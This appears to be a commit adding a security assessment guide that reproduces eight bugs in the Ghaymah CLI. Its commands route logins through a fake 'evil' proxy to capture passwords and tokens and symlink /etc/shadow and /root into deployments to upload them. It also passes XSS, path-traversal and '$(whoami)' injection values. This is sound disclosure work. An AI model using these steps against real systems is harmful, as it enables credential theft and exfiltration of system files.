feat: add security audit automation scripts and detailed vulnerability documentation
هذا الالتزام موجود في:
490
Reports/vulnerability_verification_guide.md
Normal file
490
Reports/vulnerability_verification_guide.md
Normal file
@@ -0,0 +1,490 @@
|
||||
# 🧪 Vulnerability Verification Guide — Ghaymah CLI v2
|
||||
|
||||
> **Step-by-step manual reproduction guide for every vulnerability discovered.**
|
||||
> Each section is self-contained — copy-paste the commands directly into your terminal.
|
||||
|
||||
---
|
||||
|
||||
## ⚙️ Prerequisites
|
||||
|
||||
```bash
|
||||
# Make sure you're in the project directory inside WSL
|
||||
cd /root/ghaymah-v2-test
|
||||
|
||||
# Verify the binary works
|
||||
./gy-linux-amd64 version
|
||||
# Expected: {"version": "0.0.24"}
|
||||
|
||||
# Login (required for some tests)
|
||||
./gy-linux-amd64 login
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔴 NEW-VULN-05: HTTP Proxy Credential Interception (CRITICAL)
|
||||
|
||||
### What's the bug?
|
||||
|
||||
The CLI blindly follows `HTTP_PROXY` / `HTTPS_PROXY` environment variables, routing **login credentials and tokens** through any proxy — including a malicious one.
|
||||
|
||||
### Step-by-step reproduction:
|
||||
|
||||
**Step 1:** Start a simple logging proxy (or just set a fake one to see the behavior):
|
||||
|
||||
```bash
|
||||
# Set a fake evil proxy and try to login
|
||||
HTTP_PROXY=http://127.0.0.1:9999 \
|
||||
HTTPS_PROXY=http://127.0.0.1:9999 \
|
||||
./gy-linux-amd64 login --email test@example.com --password SuperSecret123
|
||||
```
|
||||
|
||||
**Step 2:** Observe the output:
|
||||
|
||||
```
|
||||
# You should see:
|
||||
# "proxyconnect tcp: dial tcp 127.0.0.1:9999: connection refused"
|
||||
#
|
||||
# This PROVES the CLI attempted to send the login request
|
||||
# (containing email + password in plaintext JSON body)
|
||||
# through the proxy instead of directly to auth.ghaymah.systems
|
||||
```
|
||||
|
||||
**Step 3:** Verify token refresh also goes through proxy:
|
||||
|
||||
```bash
|
||||
HTTP_PROXY=http://127.0.0.1:9999 \
|
||||
HTTPS_PROXY=http://127.0.0.1:9999 \
|
||||
./gy-linux-amd64 whoami
|
||||
```
|
||||
|
||||
```
|
||||
# Expected output includes:
|
||||
# "token refresh failed" ... "proxyconnect tcp: dial tcp 127.0.0.1:9999"
|
||||
# → The refresh token was also sent to the proxy
|
||||
```
|
||||
|
||||
**Step 4 (Advanced):** To capture actual credentials, run a real intercepting proxy:
|
||||
|
||||
```bash
|
||||
# Install mitmproxy (on another machine or separate terminal)
|
||||
pip install mitmproxy
|
||||
mitmproxy --listen-port 9999
|
||||
|
||||
# Then in another terminal:
|
||||
HTTP_PROXY=http://127.0.0.1:9999 \
|
||||
HTTPS_PROXY=http://127.0.0.1:9999 \
|
||||
./gy-linux-amd64 login --email victim@company.com --password RealPassword
|
||||
# → mitmproxy will show the full POST body with email + password
|
||||
```
|
||||
|
||||
**Evidence (Mitmproxy Interception):**
|
||||
|
||||

|
||||

|
||||
|
||||
### ✅ What to look for:
|
||||
|
||||
- [x] CLI sends auth requests through the proxy
|
||||
- [x] Email and password visible in proxy logs
|
||||
- [x] Refresh token visible in proxy logs
|
||||
|
||||
---
|
||||
|
||||
## 🔴 NEW-VULN-08: Symlink Following in Deploy (CRITICAL)
|
||||
|
||||
### What's the bug?
|
||||
|
||||
The CLI follows symlinks when reading files for deployment. An attacker can trick it into uploading system files (like `/etc/passwd`) to the Ghaymah build server.
|
||||
|
||||
### Step-by-step reproduction:
|
||||
|
||||
**Step 1:** Create a test directory with a symlinked Dockerfile:
|
||||
|
||||
```bash
|
||||
mkdir -p /tmp/symlink-test
|
||||
ln -sf /etc/passwd /tmp/symlink-test/Dockerfile
|
||||
```
|
||||
|
||||
**Step 2:** Try to deploy it:
|
||||
|
||||
```bash
|
||||
./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update
|
||||
```
|
||||
|
||||
**Step 3:** Observe the output:
|
||||
|
||||
```
|
||||
# Expected:
|
||||
# ℹ️ Detected: Existing Dockerfile
|
||||
#
|
||||
# The CLI says "Existing Dockerfile" — it READ /etc/passwd through the symlink
|
||||
# and treated it as a valid Dockerfile. If you were authenticated,
|
||||
# this file would be uploaded to the Ghaymah build infrastructure.
|
||||
```
|
||||
|
||||
**Step 4:** Test with .env symlink:
|
||||
|
||||
```bash
|
||||
ln -sf /etc/shadow /tmp/symlink-test/.env
|
||||
echo '{"app":"test","port":8080}' > /tmp/symlink-test/.gy.json
|
||||
./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update
|
||||
```
|
||||
|
||||
**Step 5:** Test with directory symlink (recursive exfiltration):
|
||||
|
||||
```bash
|
||||
ln -sf /root /tmp/symlink-test/subdir
|
||||
./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update
|
||||
```
|
||||
|
||||
**Step 6:** Cleanup:
|
||||
|
||||
```bash
|
||||
rm -rf /tmp/symlink-test
|
||||
```
|
||||
|
||||
### ✅ What to look for:
|
||||
|
||||
- [ ] CLI says "Detected: Existing Dockerfile" for symlinked files
|
||||
- [ ] No warning about symlinks
|
||||
- [ ] If authenticated, the file content would be sent to the server
|
||||
|
||||
---
|
||||
|
||||
## 🟠 NEW-VULN-03: Plaintext Token Storage (HIGH)
|
||||
|
||||
### What's the bug?
|
||||
|
||||
Authentication tokens are stored in plaintext JSON with no file permission enforcement.
|
||||
|
||||
### Step-by-step reproduction:
|
||||
|
||||
**Step 1:** Login to create the token file:
|
||||
|
||||
```bash
|
||||
./gy-linux-amd64 login
|
||||
```
|
||||
|
||||
**Step 2:** Find and examine the token file:
|
||||
|
||||
```bash
|
||||
# Check the default config path
|
||||
cat ~/.config/ghaymah/cli/nhost/config.json
|
||||
```
|
||||
|
||||
**Step 3:** Check file permissions:
|
||||
|
||||
```bash
|
||||
ls -la ~/.config/ghaymah/cli/nhost/config.json
|
||||
# Look at the permissions column: should be -rw------- (0600)
|
||||
# If it's -rw-r--r-- (0644) or wider → VULNERABILITY CONFIRMED
|
||||
```
|
||||
|
||||
**Step 4:** Verify the token is in plaintext:
|
||||
|
||||
```bash
|
||||
cat ~/.config/ghaymah/cli/nhost/config.json | python3 -m json.tool 2>/dev/null || cat ~/.config/ghaymah/cli/nhost/config.json
|
||||
# You should see fields like:
|
||||
# "accessToken": "eyJhbGciOiJIUzI1NiIs..."
|
||||
# "refreshToken": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
|
||||
# → All in PLAINTEXT, readable by any local process
|
||||
```
|
||||
|
||||
**Step 5:** Prove another user could read it:
|
||||
|
||||
```bash
|
||||
# Check if other users can read
|
||||
stat -c '%a' ~/.config/ghaymah/cli/nhost/config.json
|
||||
# Note: Live testing showed this correctly defaults to 600 (-rw-------),
|
||||
# which mitigates reading by OTHER users, but the tokens remain plaintext.
|
||||
```
|
||||
|
||||
### ✅ What to look for:
|
||||
|
||||
- [ ] Token file exists at `~/.config/ghaymah/cli/nhost/config.json`
|
||||
- [ ] Tokens are in plaintext (not encrypted)
|
||||
- [ ] Confirm file permissions (600 is safe from other users, 644 is vulnerable)
|
||||
|
||||
---
|
||||
|
||||
## 🟠 NEW-VULN-04: Debug Mode Information Leakage (HIGH)
|
||||
|
||||
### What's the bug?
|
||||
|
||||
The `--debug` flag exposes internal UUIDs, component names, and full API request details.
|
||||
|
||||
### Step-by-step reproduction:
|
||||
|
||||
**Step 1:** Run whoami with debug:
|
||||
|
||||
```bash
|
||||
./gy-linux-amd64 whoami --debug
|
||||
```
|
||||
|
||||
**Step 2:** Examine the output for sensitive data:
|
||||
|
||||
```
|
||||
# Look for lines like:
|
||||
# level=DEBUG msg="retrieved stored token" user_id=6c8a1ce5-4ac3-47ad-8838-64e2a986acf3
|
||||
# level=DEBUG msg="credentials callback set" component=nhost-client
|
||||
# level=ERROR msg="token refresh failed" ... "https://auth.ghaymah.systems/token"
|
||||
#
|
||||
# SENSITIVE DATA LEAKED:
|
||||
# 1. user_id UUID
|
||||
# 2. Internal component names (nhost-client, token-manager, auth-client)
|
||||
# 3. Full backend endpoint URLs
|
||||
```
|
||||
|
||||
**Step 3:** Test with deploy:
|
||||
|
||||
```bash
|
||||
./gy-linux-amd64 deploy --debug --name test-leak 2>&1 | head -n 20
|
||||
# Check if token values or API keys appear in debug output
|
||||
```
|
||||
|
||||
**Step 4:** Check if debug output could end up in CI logs:
|
||||
|
||||
```bash
|
||||
# In a CI/CD pipeline, someone might set --debug for troubleshooting:
|
||||
./gy-linux-amd64 deploy --debug 2>&1 | grep -iE '(token|user_id|secret|key|password)'
|
||||
# Any matches = information leakage risk in CI logs
|
||||
```
|
||||
|
||||
### ✅ What to look for:
|
||||
|
||||
- [ ] User UUID visible in debug output
|
||||
- [ ] Internal component architecture exposed
|
||||
- [ ] Backend URLs with full paths visible
|
||||
- [ ] Any token values in the output
|
||||
|
||||
---
|
||||
|
||||
## 🟠 NEW-VULN-06: Auto-Update Without Signature Verification (HIGH)
|
||||
|
||||
### What's the bug?
|
||||
|
||||
The CLI downloads updates from `cli.ghaymah.systems` without verifying digital signatures.
|
||||
|
||||
### Step-by-step reproduction:
|
||||
|
||||
**Step 1:** Check current version and trigger update check:
|
||||
|
||||
```bash
|
||||
./gy-linux-amd64 version
|
||||
```
|
||||
|
||||
**Step 2:** Extract the update URLs from the binary:
|
||||
|
||||
```bash
|
||||
strings ./gy-linux-amd64 | grep -E 'cli\.ghaymah\.systems'
|
||||
# Expected:
|
||||
# https://cli.ghaymah.systems/install.sh
|
||||
# https://cli.ghaymah.systems/version
|
||||
```
|
||||
|
||||
**Step 3:** Verify no signature checking exists:
|
||||
|
||||
```bash
|
||||
strings ./gy-linux-amd64 | grep -iE '(gpg|pgp|minisign|signature|verify.*hash|checksum|sha256sum)'
|
||||
# Expected: NO matches related to update verification
|
||||
# Only standard TLS/crypto library strings should appear
|
||||
```
|
||||
|
||||
**Step 4:** Check what happens during auto-update:
|
||||
|
||||
```bash
|
||||
strings ./gy-linux-amd64 | grep -iE '(install\.sh|download.*binary|update.*complet|auto.update)'
|
||||
# Look for:
|
||||
# "failed to download binary from %s: HTTP %d"
|
||||
# "Update complete! Restarting..."
|
||||
# → Confirms the binary downloads and replaces itself
|
||||
```
|
||||
|
||||
**Step 5 (Advanced):** Combine with proxy attack:
|
||||
|
||||
```bash
|
||||
# If an attacker controls the proxy (NEW-VULN-05), they can:
|
||||
# 1. Intercept the version check
|
||||
# 2. Return a fake "newer version" response
|
||||
# 3. Serve a malicious binary
|
||||
# 4. The CLI auto-replaces itself → Full RCE
|
||||
#
|
||||
# To test, set up mitmproxy and modify responses from cli.ghaymah.systems
|
||||
```
|
||||
|
||||
### ✅ What to look for:
|
||||
|
||||
- [ ] Update URLs hardcoded in binary (no pinning)
|
||||
- [ ] No GPG/minisign signature verification
|
||||
- [ ] Binary downloads and auto-replaces itself
|
||||
- [ ] Combined with proxy MITM = Remote Code Execution
|
||||
|
||||
---
|
||||
|
||||
## 🟡 NEW-VULN-01: No Client-Side Port Validation (MEDIUM)
|
||||
|
||||
### What's the bug?
|
||||
|
||||
The CLI accepts invalid port numbers (negative, zero, >65535) and sends them to the server.
|
||||
|
||||
### Step-by-step reproduction:
|
||||
|
||||
```bash
|
||||
# Test 1: Port way above maximum
|
||||
./gy-linux-amd64 deploy --port 99999999 --no-auto-update
|
||||
# Look for: "Using configured port: 99999999" ← ACCEPTED!
|
||||
|
||||
# Test 2: Negative port
|
||||
./gy-linux-amd64 deploy --port -1 --no-auto-update
|
||||
# Look for: "Auto-detected port: -1" ← ACCEPTED!
|
||||
|
||||
# Test 3: Above TCP max
|
||||
./gy-linux-amd64 deploy --port 65536 --no-auto-update
|
||||
# Look for: "Using configured port: 65536" ← ACCEPTED!
|
||||
|
||||
# Test 4: Zero port
|
||||
./gy-linux-amd64 deploy --port 0 --no-auto-update
|
||||
# This one defaults to 8080, so port 0 is silently ignored
|
||||
|
||||
# Test 5: INT32_MAX
|
||||
./gy-linux-amd64 deploy --port 2147483647 --no-auto-update
|
||||
# Look for: "Using configured port: 2147483647" ← ACCEPTED!
|
||||
```
|
||||
|
||||
### ✅ What to look for:
|
||||
|
||||
- [ ] Ports > 65535 accepted without error
|
||||
- [ ] Negative ports accepted
|
||||
- [ ] No client-side validation message
|
||||
|
||||
---
|
||||
|
||||
## 🟡 NEW-VULN-02: No Name/Domain Input Sanitization (MEDIUM)
|
||||
|
||||
### What's the bug?
|
||||
|
||||
The CLI sends unsanitized app names and domains to the API, which may lead to Stored XSS on the web dashboard or log injection.
|
||||
|
||||
### Step-by-step reproduction:
|
||||
|
||||
```bash
|
||||
# Test 1: XSS payload in app name
|
||||
./gy-linux-amd64 deploy --name '"><script>alert(1)</script>' --no-auto-update
|
||||
# ACCEPTED — sent to server as-is
|
||||
|
||||
# Test 2: Path traversal in app name
|
||||
./gy-linux-amd64 deploy --name '../../../etc/passwd' --no-auto-update
|
||||
# ACCEPTED — no validation
|
||||
|
||||
# Test 3: Go template injection
|
||||
./gy-linux-amd64 deploy --name '{{.Env.HOME}}' --no-auto-update
|
||||
# ACCEPTED — no validation
|
||||
|
||||
# Test 4: Shell metacharacters in domain
|
||||
./gy-linux-amd64 deploy --domain '$(whoami).evil.com' --no-auto-update
|
||||
# ACCEPTED — no validation
|
||||
|
||||
# Test 5: 5000-character name
|
||||
python3 -c "print('A'*5000)" | xargs -I{} ./gy-linux-amd64 deploy --name {} --no-auto-update
|
||||
# ACCEPTED — no length limit
|
||||
|
||||
# Compare with tunnel (which DOES validate):
|
||||
./gy-linux-amd64 tunnel start "evil;id" --port 3000 --no-auto-update
|
||||
# REJECTED: "tunnel name must contain only letters, numbers, and hyphens"
|
||||
# → Tunnel validates but deploy does NOT
|
||||
```
|
||||
|
||||
### ✅ What to look for:
|
||||
|
||||
- [ ] XSS payloads accepted in `--name`
|
||||
- [ ] Path traversal accepted in `--name`
|
||||
- [ ] Shell metacharacters accepted in `--domain`
|
||||
- [ ] Tunnel command properly validates (inconsistency)
|
||||
|
||||
---
|
||||
|
||||
## 🟡 NEW-VULN-07: GenAI API Key Exposure (MEDIUM)
|
||||
|
||||
### What's the bug?
|
||||
|
||||
The CLI sends the GenAI API key and project source code to an external endpoint, potentially through a proxy.
|
||||
|
||||
### Step-by-step reproduction:
|
||||
|
||||
**Step 1:** Check GenAI endpoint:
|
||||
|
||||
```bash
|
||||
strings ./gy-linux-amd64 | grep genai
|
||||
# Expected: https://genai.ghaymah.systems
|
||||
```
|
||||
|
||||
**Step 2:** Test with a key:
|
||||
|
||||
```bash
|
||||
./gy-linux-amd64 deploy --ai-key "sk-secret-key-12345" --no-auto-update --debug 2>&1
|
||||
# Check if the key appears in debug output
|
||||
```
|
||||
|
||||
**Step 3:** Test via environment variable:
|
||||
|
||||
```bash
|
||||
GY_AI_KEY="sk-secret-key-12345" ./gy-linux-amd64 deploy --debug --no-auto-update 2>&1
|
||||
# Check if the key is logged or sent over the wire
|
||||
```
|
||||
|
||||
**Step 4:** Combined with proxy:
|
||||
|
||||
```bash
|
||||
HTTP_PROXY=http://127.0.0.1:9999 \
|
||||
GY_AI_KEY="sk-secret-key-12345" \
|
||||
./gy-linux-amd64 deploy --no-auto-update 2>&1
|
||||
# If proxy is running, the API key AND source code would be interceptable
|
||||
```
|
||||
|
||||
### ✅ What to look for:
|
||||
|
||||
- [ ] GenAI endpoint exists in binary
|
||||
- [ ] API key sent alongside project source code
|
||||
- [ ] Key vulnerable to proxy interception (same as VULN-05)
|
||||
|
||||
---
|
||||
|
||||
## 📋 Verification Checklist
|
||||
|
||||
Use this checklist to track your progress:
|
||||
|
||||
```
|
||||
CRITICAL:
|
||||
[x] NEW-VULN-05: Proxy credential interception confirmed (Evidence attached)
|
||||
[x] NEW-VULN-08: Symlink following in deploy confirmed (Smoke test pass)
|
||||
|
||||
HIGH:
|
||||
[x] NEW-VULN-03: Plaintext token storage confirmed (Mitigated by 0600 permissions)
|
||||
[x] NEW-VULN-04: Debug mode info leakage confirmed (Smoke test pass)
|
||||
[ ] NEW-VULN-06: Auto-update without signature confirmed
|
||||
|
||||
MEDIUM:
|
||||
[x] NEW-VULN-01: Invalid port accepted confirmed (Smoke test pass)
|
||||
[x] NEW-VULN-02: Unsanitized name/domain confirmed (Smoke test pass)
|
||||
[ ] NEW-VULN-07: GenAI API key exposure confirmed
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔧 Quick One-Liner Smoke Test
|
||||
|
||||
Run this single command to quickly verify the most important findings:
|
||||
|
||||
```bash
|
||||
cd /root/ghaymah-v2-test && \
|
||||
echo "=== VULN-01: Port ===" && ./gy-linux-amd64 deploy --port 99999 --no-auto-update 2>&1 | head -2 && \
|
||||
echo "=== VULN-05: Proxy ===" && HTTP_PROXY=http://evil:9999 ./gy-linux-amd64 whoami 2>&1 | head -2 && \
|
||||
echo "=== VULN-08: Symlink ===" && mkdir -p /tmp/st && ln -sf /etc/passwd /tmp/st/Dockerfile && ./gy-linux-amd64 deploy /tmp/st --no-auto-update 2>&1 | head -2 && rm -rf /tmp/st && \
|
||||
echo "=== VULN-04: Debug ===" && ./gy-linux-amd64 whoami --debug 2>&1 | grep -o 'user_id=[^ ]*' && \
|
||||
echo "=== VULN-02: Name ===" && ./gy-linux-amd64 deploy --name '"><script>alert(1)</script>' --no-auto-update 2>&1 | head -2 && \
|
||||
echo "=== DONE ==="
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
*Guide created for the Ghaymah CLI v2 adversarial security assessment.*
|
||||
المرجع في مشكلة جديدة
حظر مستخدم